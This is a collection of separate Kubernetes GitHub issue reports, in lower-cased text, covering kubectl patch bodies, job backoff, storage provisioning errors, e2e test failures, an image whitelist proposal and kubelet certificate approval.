<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i used  kubectl --v=10 annotate  to learn about patching object metadata, and was surprised to find more than the metadata in the patch request body.  here is an example:\r    \r     $ kubectl --v=10 annotate pods mypod bar=foo\r     ...\r     i0717 18:55:21.106675  161234 request.go:991  request body: {\ metadata\ :{\ annotations\ :{\ bar\ :\ foo\ }},\ status\ :{\ conditions\ : {\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2017-07-14t00:36:40z\ ,\ status\ :\ true\ ,\ type\ :\ initialized\ },{\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2017-07-14t00:37:06z\ ,\ status\ :\ true\ ,\ type\ :\ ready\ },{\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2017-07-14t00:36:40z\ ,\ status\ :\ true\ ,\ type\ :\ podscheduled\ } }}\r \r     i0717 18:55:21.106795  161234 round_trippers.go:398  curl -k -v -xpatch  -h \ content-type: application/merge-patch+json\  -h \ user-agent: kubectl/v1.6.4  linux/amd64  kubernetes/d6f4332\  -h \ accept: application/json\  https://172.16.11.12:443/api/v1/namespaces/default/pods/mypod\r \r     i0717 18:55:21.112228  161234 round_trippers.go:417  patch https://172.16.11.12:443/api/v1/namespaces/default/pods/mypod 200 ok in 5 milliseconds\r    \r \r   what you expected to happen  :\r i expected to see my new annotation, but not the pod's status, in the request body.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i hope the above makes this clear.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.4 in client and server\r - cloud provider or hardware configuration  : bare metal install\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0-34-generic\r - install tools: private ansible\r - others: n/a\r

we find that multiple modules add an message to print the verson for debugging.\r \r such as:\r kubernetes\\cmd\\cloud-controller-manager\\app\\controllermanager.go:109:\r glog.infof \ version: %+v\ , version.get   \r \r but if every models add an print version message code, it looks like not elegant. can it add an common print in printandexitifrequested function, as a lot of models had called this function to print version before start the models.\r \r   is this a bug report or feature request?  :\r >  \r \r \r

this issue was born out of the discussion from https://github.com/kubernetes/kubernetes/issues/54904 and https://github.com/kubernetes/kubernetes/pull/56702. \r \r in short:\r job controller has an exponential backoff in place when failures happen to a job. as long as the parallelism is one, it's clear when a failure or success happens, the latter clears the backoff. the problem is when parallelism > 1, which can lead to situation where the controller can observe successful and failed pod at the same time and won't clear the backoff leading to further retries and longer wait times  see https://github.com/kubernetes/kubernetes/issues/54904 for extensive details about the problem in e2e \r \r possible solutions:\r \r 1. leave everything as is\r 2. when both success and failure are observed clear the backoff\r \r pros and cons:\r \r ad. 1.\r aside from  https://github.com/kubernetes/kubernetes/issues/54904  i wonder if users got affected by it. does it make sense to fix it at all?\r \r ad. 2.\r this approach make sense in some situation, but the question arise, should that be controlled by a user. what if i have 9 failures and 1 success  parallelism = 10 , should i still clear the backoff? maybe we should introduce user controller field to set the failure rate in this case. \r

feature request\r \r  \r   what happened  :\r i contribute to openebs -  which falls into the category of container native storage, orchestrated storage or container attached storage. it is comparable to glusterfs, rook, portworx etc., . these storage solutions run within k8s and provide storage  persistent volumes  to stateful workloads. \r \r these storage solutions comprise of two types of pods:\r  a  core storage pod  typically run as daemon sets  that access the underlying disks by mounting \ /dev\ \r  b  storage operator pods that typically help with:\r     - maintain inventory of disks attached to the nodes and which are already used etc,. \r     - extending the available storage by adding new disks.\r     - adding cache  an nvme partition \r     - replacing a failed disk on the node with a new one\r \r i am trying to explore the possibility of delegating  or using  some of the functionality provided by the local storage pv supported recently added to k8s. specifically the inventory management, scheduling of core storage pods based on the availability of disk etc. .\r \r however, the hard requirement for having to restart a pod whenever local pvs are attached/dettached to/from a pod is not a desirable behaviour when it comes to core storage pods -- which can in turn have performance impacts to the stateful workloads they serve. \r \r   what you expected to happen  :\r \r there should be a mechanism that will help attach/detach local storage pvs to the pods without requiring a pod-restart. \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r na\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  \r \r  \r   what happened  :\r in ipvs proxy mode, most service functions like \ nodeport/loadbalance\  is realized by the association of iptables/ipset/ipvs, yet most ipvs proxier ut only verified ipvs rules, which can't ensure service is functional.\r \r   what you expected to happen  :\r check both ipvs rules and iptables chains/rules, ipset entries in ipvsproxier ut.\r

 \r   what happened  :\r \r when trying to deploy a storage class, with the 'vmware vsphere volume' provisioner, i can't seem to add a pvc to it, it fails with the following message:\r \r  type     reason              age                 from                         message\r   ----     ------              ----                ----                         -------\r   warning  provisioningfailed  1m  x102 over 26m   persistentvolume-controller  no volume plugin matched \r \r i've also tried to follow the following tutorial and adding it manually, which results in the same error: https://github.com/kubernetes/examples/blob/master/staging/volumes/vsphere/readme.md\r \r settings:\r \r provisioner: vmware vsphere volume\r disk format: thin\r datastore: xxx-vsan-ms1\r host failures: 2\r cache reservation: 20\r fs type: ext4\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r i0413 14:10:48.561688     375 http.go:105  http2 has been explicitly disabled\r i0413 14:10:48.585829     375 http.go:105  http2 has been explicitly disabled\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ \ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ \ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r vsphere  deployed with vsphere provider \r - os  e.g. from /etc/os-release :\r ubuntu 16.06\r boot2docker 17.02\r - kernel  e.g.  uname -a  :\r linux rancher 4.4.0-119-generic  143-ubuntu smp mon apr 2 16:08:24 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r \r

a customer has asked for a feature which would ensure that only certain \ approved\  binaries are run on the cluster.  this issue is to get feedback from other users on whether this would be useful, and to clarify requirements, and to see if some simple implementations would be sufficient.    background  the threat some users are trying to protect against is that an otherwise authorized user of a kubernetes cluster accidentally or intentionally creates a pod that runs a binary that was built from untrusted, possibly malicious, source code.  it might actually cause direct harm, or just require costly auditing after the fact.  auditing requirements may be dictated by   service organization controls  https://en.wikipedia.org/wiki/service_organization_controls .    requirements questions 1. is it sufficient to whitelist what image repositories are allowed? for example, allow only image names with prefixes  gcr.io/myproject/   or  docker.io/library/ruby .  or is finer control, such whitelisting individual tags or tag patterns needed?  or  even specific binary content hashes.      1. docker supports specifying images at a specific checksum, like  docker pull someimage@sha256:d149ab53f8718e987c3a3024bb8aa0e2caadf6c0328f1d9d850b2a2a67f2819a .  is this allowed, and if so how would it work with a tag whitelist? 2. should the whitelist check be intersected with docker content trust tag signing checks? 3. does it need to work for all container runtimes  docker, rkt, etc  or is just docker enough for now? 4. is a single, cluster-wide policy useful, at least as a first-pass.  will we eventually will want policy for each user  to allow the cluster admin to run any image  or per namespace  to ensure each \ tenant\  in a multi-tenant cluster runs images from its own trusted build chain .   5. is a policy that is expresses as a flag useable enough? 6. is the policy mandatory, or would after-the-fact auditing be sufficient for most users?  if it is mandatory, how easy does it need to be to override it in an emergency  e.g. docker hub is down, and our policy says only pull docker images, and we need to push a new image now due to a critical bug; how do i do that?  7. is image whitelisting useful by itself?  or are restrictions on other parts of a pod spec  volumes, configmaps, env vars  needed to meet auditing requirements?    implementation ideas 1.  docker auth plugin  https://github.com/docker/docker/blob/head/pkg/authorization/plugin.go  such as  twistlock  https://github.com/twistlock/authz  which only allows certain images to run 2. kubelet flag that contains an image prefix whitelist 3. admission controller that checks image strings in pods against a policy objects stored in the apiserver. 4. contributed controller that watches for pods with disallowed images and sends alerts somewhere.  policy enforcement in the apiserver is easier to change and easier to surface errors, but probably more work to get something we all agree on working.  policy enforcement or docker can apply to http and file source pods, and kubelet or docker are in better position to talk to a private registry, if more complex interaction is later needed.  a docker-based solution could be applicable to all users including non-kubernetes users.  a kubelet or apiserver solution would apply to multiple container runtimes.   only the apiserver can easily have a per-user policy, since only it is aware what user is creating the object.  only apiserver or kubelet can have a per-namespace policy, since docker does not know or care what a namespace is.    related technology     docker notary and docker content trust   docker content trust  https://docs.docker.com/engine/security/trust/content_trust/  checks the integrity of the image  e.g. to ensure it was not modified by a man-in-the-middle , and only allows images with signed tags to run.  docker content trust uses docker notary.   docker notary  https://github.com/docker/notary  is a general solution to compute checksums of collections of files, and publish signed checksums of those files.  docker notary could also sign things not in images, like configmaps, for example.  the docker client  cli, or the go language docker client library, in the case of kubelet  is responsible for setting whether trust should be enabled, and what notary server to use, on each call to docker.  docker content trust only applies to image tags.  a user who asks for a specific content hash, e.g.  docker pull someimage@sha256:d149ab53f8718e987c3a3024bb8aa0e2caadf6c0328f1d9d850b2a2a67f2819a , always succeeds.    so, it isn't clear how to use docker content trust by itself as a solution to prevent untrusted images from being run.     rkt trust   rkt trust  https://coreos.com/rkt/docs/latest/subcommands/trust.html  works similarly to docker content trust  and predates it.   it controls which registries are trusted.     integrity measurement architecture  the integrity measurement architecture  ima  provides a way for parties to remotely verify the integrity of programs running on a machine.  https://sourceforge.net/p/linux-ima/wiki/home/ integrity-measurement-architecture-ima  it appears to be a quite complex system.  it requires a kernel that supports it, and i imagine it is complex to debug.  i am not considering it at this time.     openshift builds and imagestreams  openshift provides an image build system and a private registry for each cluster, or each tenant of a cluster.   having image builds happen on the same cluster as images run may be convenient in some cases, but do we need to mandate this to use this feature?  some users have their own build system already setup     per-cluster registries  kubernetes has an open issue to provide a per-cluster registry as an add-on   1319 .  on gke, clusters have access to a project-wide image registry.  however, some customers may have existing, private registries.   we should not require them to change that to take advantage of this feature.

part of the investigation  27374. this is causing multiple failures in the gce soak tests.  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-soak-continuous-e2e-gce/5764 k8sio-schedulerpredicates-serial-validates-that-nodeaffinity-is-respected-if-not-matching      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:216 expected error:     < errors.errorstring | 0xc82146e090>: {         s: \ not all pods in namespace 'kube-system' running and ready within 2m0s\ ,     }     not all pods in namespace 'kube-system' running and ready within 2m0s not to have occurred          i0617 00:17:09.999659    3501 kubelet.go:2661  syncloop  pleg : \ monitoring-influxdb-grafana-v3-duwdw_kube-system c9fcb6cf-325a-11e6-8bfb-42010af00002 \ , event: &pleg.podlifecycleevent{id:\ c9fcb6cf-325a-11e6-8bfb-42010af00002\ , type:\ containerdied\ , data:\ 195b8ab1a7bac429580729f2a2ed1d1b1b4b73ec754d5656326ef9049bfecc28\ } i0617 00:17:10.010995    3501 manager.go:2303  checking backoff for container \ influxdb\  in pod \ monitoring-influxdb-grafana-v3-duwdw\  i0617 00:17:10.011408    3501 manager.go:2317  back-off 5m0s restarting failed container=influxdb pod=monitoring-influxdb-grafana-v3-duwdw_kube-system c9fcb6cf-325a-11e6-8bfb-42010af00002  e0617 00:17:10.011504    3501 pod_workers.go:183  error syncing pod c9fcb6cf-325a-11e6-8bfb-42010af00002, skipping: failed to \ startcontainer\  for \ influxdb\  with crashloopbackoff: \ back-off 5m0s restarting failed container=influxdb pod=monitoring-influxdb-grafana-v3-duwdw_kube-system c9fcb6cf-325a-11e6-8bfb-42010af00002 \  i0617 00:17:12.529374    3501 server.go:959  get /healthz:  56.191µs  200   curl/7.26.0  127.0.0.1:51388  i0617 00:17:20.789572    3501 container_manager_linux.go:614  found 59 pids in root, 59 of them are not to be moved i0617 00:17:22.544930    3501 server.go:959  get /healthz:  25.578µs  200   curl/7.26.0  127.0.0.1:51392  i0617 00:17:24.541100    3501 manager.go:2303  checking backoff for container \ influxdb\  in pod \ monitoring-influxdb-grafana-v3-duwdw\  i0617 00:17:24.541233    3501 manager.go:2317  back-off 5m0s restarting failed container=influxdb pod=monitoring-influxdb-grafana-v3-duwdw_kube-system c9fcb6cf-325a-11e6-8bfb-42010af00002  e0617 00:17:24.541290    3501 pod_workers.go:183  error syncing pod c9fcb6cf-325a-11e6-8bfb-42010af00002, skipping: failed to \ startcontainer\  for \ influxdb\  with crashloopbackoff: \ back-off 5m0s restarting failed container=influxdb pod=monitoring-influxdb-grafana-v3-duwdw_kube-system c9fcb6cf-325a-11e6-8bfb-42010af00002 \  i0617 00:17:32.559331    3501 server.go:959  get /healthz:  34.03µs  200   curl/7.26.0  127.0.0.1:51397  i0617 00:17:36.540173    3501 manager.go:2303  checking backoff for container \ influxdb\  in pod \ monitoring-influxdb-grafana-v3-duwdw\  i0617 00:17:36.540340    3501 manager.go:2317  back-off 5m0s restarting failed container=influxdb pod=monitoring-influxdb-grafana-v3-duwdw_kube-system c9fcb6cf-325a-11e6-8bfb-42010af00002  e0617 00:17:36.540389    3501 pod_workers.go:183  error syncing pod c9fcb6cf-325a-11e6-8bfb-42010af00002, skipping: failed to \ startcontainer\  for \ influxdb\  with crashloopbackoff: \ back-off 5m0s restarting failed container=influxdb pod=monitoring-influxdb-grafana-v3-duwdw_kube-system c9fcb6cf-325a-11e6-8bfb-42010af00002 \  i0617 00:17:42.572727    3501 server.go:959  get /healthz:  38.284µs  200   curl/7.26.0  127.0.0.1:51401       some more context in this comment https://github.com/kubernetes/kubernetes/issues/27374 issuecomment-225969139  @dchen1107 could you find an appropriate owner for this?  cc @kubernetes/sig-node @random-liu

\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r  openstack persistentvolumelabel \r \r feature request\r \r kubernetes doesn't currently support openstack for persistentvolumelabel admission controller as seen here: https://github.com/kubernetes/kubernetes/blob/822e29dd3ce90421c099f6bec7f476c419c3211e/plugin/pkg/admission/persistentvolume/label/admission.go\r \r openstack mitaka appears to disable cross az volume mounting by default and without any method to avoid pods starting in different azs to their volumes, a lot of our statefulsets never start due to not being able to mount their volume.\r \r have a pr in progress to get this working.\r \r understand that we are moving to the cloud-controller-manager and may reimplement when that is complete.

it happened 3 times in a row. last failure:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scalability-release-1-7/93\r \r @kubernetes/sig-scalability-bugs @wojtek-t @shyamjvs

the current implementation of the  kube-proxy  on windows uses user-mode proxying.\r \r as we have seen with the linux implementation of user mode proxying this introduces higher tail latency and uses lots of cpu on the container host machine.\r \r windows has packet filtering support in the kernel similar to iptables, we should support using it from the  kube-proxy .\r \r 

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r    \r test/e2e/network/firewall.go:183\r expected error:\r     < errors.errorstring | 0xc420e06260>: {\r         s: \ incorrect source ranges  10.160.0.0/14 , expected  10.100.0.0/14 : found differences: map 10.160.0.0/14:{} \ ,\r     }\r     incorrect source ranges  10.160.0.0/14 , expected  10.100.0.0/14 : found differences: map 10.160.0.0/14:{} \r not to have occurred\r test/e2e/network/firewall.go:166\r    \r \r \r   anything else we need to know?  :\r happened in many prs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50889/pull-kubernetes-e2e-gce-bazel/12328/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49850/pull-kubernetes-e2e-gce-bazel/12341/ sig-network-firewall-rule-should-have-correct-firewall-rules-for-e2e-cluster\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/45294/pull-kubernetes-e2e-gce-bazel/12291/ sig-network-firewall-rule-should-have-correct-firewall-rules-for-e2e-cluster\r \r

in https://github.com/kubernetes/kubernetes/pull/55213, we merged a work around for heapster panic https://github.com/kubernetes/kubernetes/issues/54962.\r \r we should get rid of the work around after heapster version is updated.\r \r /cc @kubernetes/sig-node-bugs \r /cc @yujuhong @yguo0905

address this todo:\r https://github.com/kubernetes/kubernetes/blob/2de4562983b4af39cdb9c2340be04ef9f387b51c/plugin/pkg/admission/security/podsecuritypolicy/admission.go l334-l340\r \r which is supported by the latest  scale testing  https://docs.google.com/document/d/1iichhe_no1kmaybw5kriphdn325ega2sxf2eqg2yapi/edit heading=h.jb1b0ho51ka6 \r \r note that the pod create latency is still impacted by policies that are not bound, probably since every policy is checked for authorization twice  creator account & pod service account . it may be more efficient to look for a policy that permits the pod, and only check authorization on success  especially when authorization includes a webhook .\r \r /cc @kubernetes/sig-auth-bugs @kubernetes/sig-scalability-bugs @liggitt @pweil-

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r remove namespace, pod can't be remove because of token be removed already.\r \r   what you expected to happen  :\r remove namespace, pod and other resource be remove autoly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create one cluster, and add some nodes. create a new namespace, like ws-max, and then deploy some pods. after all pods running, remove the namespace, check all pods status.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r ~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :\r    \r ~  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r ~  uname -a\r linux m-test1-ha-192-168-3-123 4.4.0-101-generic  124-ubuntu smp fri nov 10 18:29:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:kubeadm\r - others:calico network plugin\r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r getting this warning when using  selector  for creating new pvc: \r \r  claim.spec.selector is not supported for dynamic provisioning on azure disk \r \r as a result, when pv with label is not found, it does not create new pv.\r \r code is here:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_dd/azure_provision.go l74\r \r   what you expected to happen  :\r be able to create a new pvc using an existing pv with label selector if pv exists, if not, create new pv.\r \r   how to reproduce it  as minimally and precisely as possible   :\r using acs\r kubectl v1.7.3\r kubernetes v1.7.9\r \r    bash\r kubectl create -f pvc.yaml\r    \r \r pvc.yaml\r \r    yaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     provisioner: kubernetes.io/azure-disk\r     storageclass.beta.kubernetes.io/is-default-class: 'true'\r     volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/azure-disk\r   name: testclaim\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 50gi\r   storageclassname: managed-premium\r   selector:\r     matchlabels:\r       release: \ staging\ \r    \r cc @khenidak @noelbundick @sauryadas

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i'd like each pod to be reachable via dns records. currently this is possible through https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/ pods-dns-policy\r \r > if there exists a headless service in the same namespace as the pod and with the same name as the subdomain, the cluster’s kubedns server also returns an a record for the pod’s fully qualified hostname. for example, given a pod with the hostname set to “busybox-1” and the subdomain set to “default-subdomain”, and a headless service named “default-subdomain” in the same namespace, the pod will see its own fqdn as “busybox-1.default-subdomain.my-namespace.svc.cluster.local”. dns serves an a record at that name, pointing to the pod’s ip. both pods “busybox1” and “busybox2” can have their distinct a records\r \r but for deployments, i can't easily set each pod's hostname to its own name. this can be done by an admission controller. i can't find an existing one to achieve this, while it's possible to add an  dynamic admission controller  https://kubernetes.io/docs/admin/extensible-admission-controllers/ .\r \r if this is a common user case, i'd like to add a builtin admission controller rather than a dynamic admission controller to do this.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r kind feature\r \r   what happened  :\r for pods created by daemonset, kubelet manifest and statefulset, if they are evicted due to node resource pressure, they will scheduled back  which leaves a lot of \ dead pod bodies\ ,\r \r   what you expected to happen  :\r eviction manager ignore these kinds of pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a daemonset, make the node under memorypressure, you will see a lot of pods with \ evicted\  status. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   v1.9.6\r - docker version\r   17.12.1-ce\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r   3.10.0-862.3.2.el7.x86_64\r - install tools:\r - others:\r

what happened  :\r when running jenkins in kubernetes on azure, we have two volumes,  /var/jenkins_home   which is on a cifs network share  and  /var/jenkins_home/workspaces   which is from a persistent volume . when the jenkins pod is starting, for example after the node has rebooted, it can happen that /var/jenkins_home gets mounted, but /var/jenkins_home/workspaces does not.\r \r   what you expected to happen  :\r the path /var/jenkins_home/workspaces should only get mounted _after_ /var/jenkins_home has been mounted. i suspect that there's some timing issue where sometimes /var/jenkins_home/workspaces gets mounted after /var/jenkins_home is being mounted  especially considering /var/jenkins_home is from a network share .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    yaml\r apiversion: apps/v1beta2\r kind: statefulset\r metadata:\r   name: jenkins\r spec:\r   servicename: jenkins\r   selector:\r     matchlabels:\r       app: jenkins\r   replicas: 1\r   updatestrategy:\r     type: rollingupdate\r   template:\r     metadata:\r       labels:\r         app: jenkins\r     spec:\r       containers:\r         - name: jenkins\r           image: jenkins:2.154\r           ports:\r             - containerport: 80\r               name: jenkins-http\r           volumemounts:\r             - mountpath: /var/jenkins_home\r               name: jenkins-home\r             - mountpath: /var/jenkins_home/cache\r               name: jenkins-home-caches\r             - mountpath: /var/jenkins_home/caches\r               name: jenkins-home-caches\r             - mountpath: /var/jenkins_home/tools\r               name: jenkins-home-tools\r             - mountpath: /var/jenkins_home/updates\r               name: jenkins-home-updates\r             - mountpath: /var/jenkins_home/workspace\r               name: jenkins-home-workspace\r       volumes:\r         - name: jenkins-home\r           azurefile:\r             secretname: storage-secret\r             sharename: jenkins-home\r             readonly: false\r         - name: jenkins-home-cache\r           emptydir: {}\r         - name: jenkins-home-caches\r           emptydir: {}\r         - name: jenkins-home-updates\r           emptydir: {}\r   volumeclaimtemplates:\r     - metadata:\r         name: jenkins-home-workspace\r         annotations:\r           volume.beta.kubernetes.io/storage-class: managed-premium\r       spec:\r         accessmodes:\r           - readwriteonce\r         resources:\r           requests:\r             storage: 75gi\r     - metadata:\r         name: jenkins-home-tools\r       spec:\r         accessmodes:\r           - readwriteonce\r         resources:\r           requests:\r             storage: 1gi\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: jenkins\r   labels:\r     app: jenkins\r spec:\r   type: loadbalancer\r   ports:\r     - port: 80\r       name: service-http\r   selector:\r     app: jenkins\r    \r i have omitted the parts that are  probably  irrelevant.\r \r note that there is also a second mount,  /var/jenkins_home/tools , which did get mounted even when  /var/jenkins_home/workspaces  was not mounted.\r \r   anything else we need to know?  :\r the issue does not occur all the time. it can be resolved by connecting to the pod and killing jenkins, so that the container restarts. after the container restart, all volumes are mounted correctly.\r \r   environment  :\r - kubernetes version  use  kubectl version  : client: v1.12.2, server: v1.11.1\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : debian gnu/linux 9  stretch \r - kernel  e.g.  uname -a  : linux jenkins-0 4.15.0-1032-azure  33~16.04.1-ubuntu smp fri nov 9 22:36:11 utc 2018 x86_64 gnu/linux\r - install tools: acs-engine\r - others: -\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r i enabled  servertlsbootstrap: true  on kubelet and expected the serving certificates csr to be auto-approved by controller manager as per docs here: https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/ approval\r \r discussing with @mauilion on slack revealed that  csrapproving  controller does not approve serving csr's at all.\r \r so it needs to be explicitly mentioned in the docs that the auto-approval works only for client certs. otherwise there will be other chasing the rabbit deep down for hours like i did. : \r \r is there any reason why the serving csr is not approved automatically?\r \r   what you expected to happen  :\r \r based on the docs i expected the serving csr to be automatically approved.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r enable  servertlsbootstrap: true  on kubelet and watch the csr staying in  pending  state.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.2\r - cloud provider or hardware configuration: any env\r - os  e.g. from /etc/os-release : centos 7.4&7.5, ubuntu 18.04\r - kernel  e.g.  uname -a  :\r - install tools: tested with kontena pharos, kubeadm\r - others:\r

we recently added  a pr to put a timestamp on a pod object  https://github.com/kubernetes/kubernetes/pull/72619  every time it is attempted by the scheduler. this change improves scheduler's fairness and gives pods that have been tried oldest a higher precedence over other pods with the same priority. however, this change could increase the number of pod updates and could raise the load of the api server in some scenarios. this is particularly problematic in clusters with a lot of unschedulable pods that remain unschedulable for a long time and getting attempted many times.\r in fact, we don't need to keep this timestamp in the api object. this is needed only for the scheduler to keep track of the time that a pod is attempted. in other words, this timestamp can be kept in the scheduler's internal state only. we should add a timestamp to every pod in the scheduling queue. the timestamp will be the time that the pod is added to the queue. the scheduler should use this timestamp for sorting pods with the same priority. by doing this we will not update the api object after every scheduling attempt.\r \r  

from scalability/performance point of view, our \ k8s watch\  is missing one important feature which is ability to send a \ resource-version-dependent heartbeat\  to it.\r what i mean here is that if a watch is interested only in some small percentage of object, the fact that it didn't receive any event doesn't mean that this watch didn't do any progress. in majority of cases we already know that all objects up to a rv=y were already processed for that watcher, even though watcher still believes it is on rv=x  x<y .\r \r when watch times out, breaks or sth, the watcher tries to resend the watch with rv equal to the last one it already received. but it may be far in the past  because there weren't any events interested to the watcher in the meantime .\r that may result in:\r - unnecessary processing the fragment of history for the second time, even though we already did that in the previous incarnation of that watcher\r - if we got out of history window, we may return \ out-of-history\ , and that may result in relist, which is even worse from performance/scalability poc\r \r if we would have a way to send an information to the watcher \ even though you didn't get anything in the meantime, there aren't anything interesting for you up to rv=x\ , that would really help.\r as an example, right before timeout for the watcher, we could send such information to the watcher and that would solve majority of these situations.\r \r  note that such feature was added to etcd, but it doesn't directly help us. \r \r @kubernetes/sig-scalability-feature-requests \r @kubernetes/sig-api-machinery-feature-requests \r @deads2k @lavalamp @jpbetz

according to https://golang.org/src/crypto/x509/root_unix.go, the list of places that golang looks for root certificates is:          13      \ /etc/ssl/certs/ca-certificates.crt\ ,     // debian/ubuntu/gentoo etc.     14      \ /etc/pki/tls/certs/ca-bundle.crt\ ,       // fedora/rhel     15      \ /etc/ssl/ca-bundle.pem\ ,                 // opensuse     16      \ /etc/ssl/cert.pem\ ,                      // openbsd     17      \ /usr/local/share/certs/ca-root-nss.crt\ , // freebsd/dragonfly     18      \ /etc/pki/tls/cacert.pem\ ,                // openelec     19      \ /etc/certs/ca-certificates.crt\ ,         // solaris 11.2+      we don't care about openbsd, freebsd, or solaris yet. so, the only possible paths are: -  /etc/ssl/...  -  /etc/pki/tls/...   currently, the pods for apiserver, scheduler, and controller-manager also mount these dirs: -  /usr/share/ssl  -  /var/ssl  -  /usr/local/openssl  -  /etc/openssl  -  /usr/ssl  -  /usr/lib/ssl   go won't search any of these.  so, they should be removed from the pod spec.  also, all these directories are empty on a gce debian node  except  /usr/lib/ssl  which holds hard links to the files in  /etc/ssl/ .

